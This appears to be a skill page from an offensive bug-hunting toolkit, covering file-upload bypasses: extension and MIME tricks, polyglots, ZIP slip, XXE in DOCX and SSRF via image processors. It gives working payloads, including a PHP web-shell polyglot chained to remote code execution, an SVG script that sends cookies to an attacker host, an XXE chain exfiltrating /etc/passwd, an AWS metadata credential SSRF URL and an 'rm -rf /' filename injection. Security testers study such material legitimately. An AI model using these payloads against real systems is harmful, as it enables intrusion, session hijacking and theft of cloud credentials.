skills/web-hunting/hunt-file-upload
/hunt-file-uploadBoth ✓

File Upload Hunter

Unrestricted file upload bypasses — MIME type spoofing, extension trickery, polyglots, path traversal via filename.

9. FILE UPLOAD

Content-Type Bypass

filename=shell.php, Content-Type: image/jpeg  → server trusts Content-Type
filename=shell.phtml, shell.pHp, shell.php5   → extension variants

File Upload Bypass Techniques (10 techniques)

AttackHowPrevention
Extension bypassshell.php.jpg, shell.pHp, shell.php5Allowlist + extract final extension
Null byteshell.php%00.jpgSanitize null bytes
Double extensionshell.jpg.phpOnly allow single extension
MIME spoofContent-Type: image/jpeg with .php bodyValidate magic bytes, not MIME header
Magic bytes prefixPrepend GIF89a; to PHP codeParse whole file, not just header
PolyglotValid as JPEG and PHPProcess as image lib, reject if invalid
SVG JavaScript<svg onload="...">Sanitize SVG or disallow entirely
XXE in DOCXMalicious XML in Office ZIPDisable external entities
ZIP slip../../../etc/passwd in archiveValidate extracted paths
Filename injection; rm -rf / in filenameSanitize + use UUID names

Magic Bytes Reference

TypeHex
JPEGFF D8 FF
PNG89 50 4E 47 0D 0A 1A 0A
GIF47 49 46 38
PDF25 50 44 46
ZIP/DOCX/XLSX50 4B 03 04

Stored XSS via SVG

xml
<?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg">
  <script>alert(document.domain)</script>
</svg>

Related Skills & Chains
  • hunt-rce — File upload is the most common path to RCE on classic PHP/JSP/ASPX stacks once you find a directly-served upload directory or a deserializer-fed processor. Chain primitive: polyglot GIF89a;<?php system($_GET['c']);?> bypasses magic-byte check + .phtml extension bypasses allowlist → GET /uploads/shell.phtml?c=id → RCE; or PHP phar:// upload to a sink calling file_exists() on the attacker-controlled path → PHP object deserialization → RCE.
  • hunt-xxe — Office formats (DOCX/XLSX/PPTX), SVGs, and SOAP attachments are XML inside a ZIP — every upload-and-parse feature is a latent XXE candidate. Chain primitive: upload DOCX whose [Content_Types].xml or word/document.xml includes a parameter-entity DTD pointing at attacker-controlled DTD → blind XXE OOB file read → exfil /etc/passwd or web.config via the document parser.
  • hunt-xss — SVGs, HTML files, and PDFs uploaded then served on the same origin are stored-XSS factories. Chain primitive: upload SVG with <script>fetch('//attacker/?'+document.cookie)</script> → victim views attachment at app.target.com/uploads/x.svg (same origin, not sandboxed) → cookie theft → ATO via session hijack.
  • hunt-ssrf — Image-processing libraries (ImageMagick, ffmpeg) fetch remote URLs from inside the uploaded file. Chain primitive: upload an SVG/MVG with <image xlink:href="http://169.254.169.254/latest/meta-data/iam/security-credentials/"> or ffmpeg concat:http://internal/... → SSRF to AWS IMDS → cloud creds; the ImageTragick CVE-2016-3714 family is still alive on legacy farms.
  • security-arsenal — Reach for the file-upload bypass tree: 10-row extension/MIME/magic-byte bypass table (double-ext, null-byte, case variants, .phtml/.phar/.php5/.pht, .htaccess upload to re-enable handlers, web.config upload on IIS), SVG/MVG/SVGZ payloads, DOCX-XXE templates, ZIP-slip path traversal in archives, polyglot generators.
  • triage-validation — Apply the Reproducibility Gate. A file successfully uploaded but never served, never executed, never parsed by anything is not a finding — it's a write-only blob. Critical RCE requires the actual whoami round-trip from the uploaded shell; stored XSS requires the popup firing in a victim browser, not just the file existing on disk.
Skill metadata
Command/hunt-file-upload
DomainWeb Hunting
EnvBoth ✓
Reports
Version
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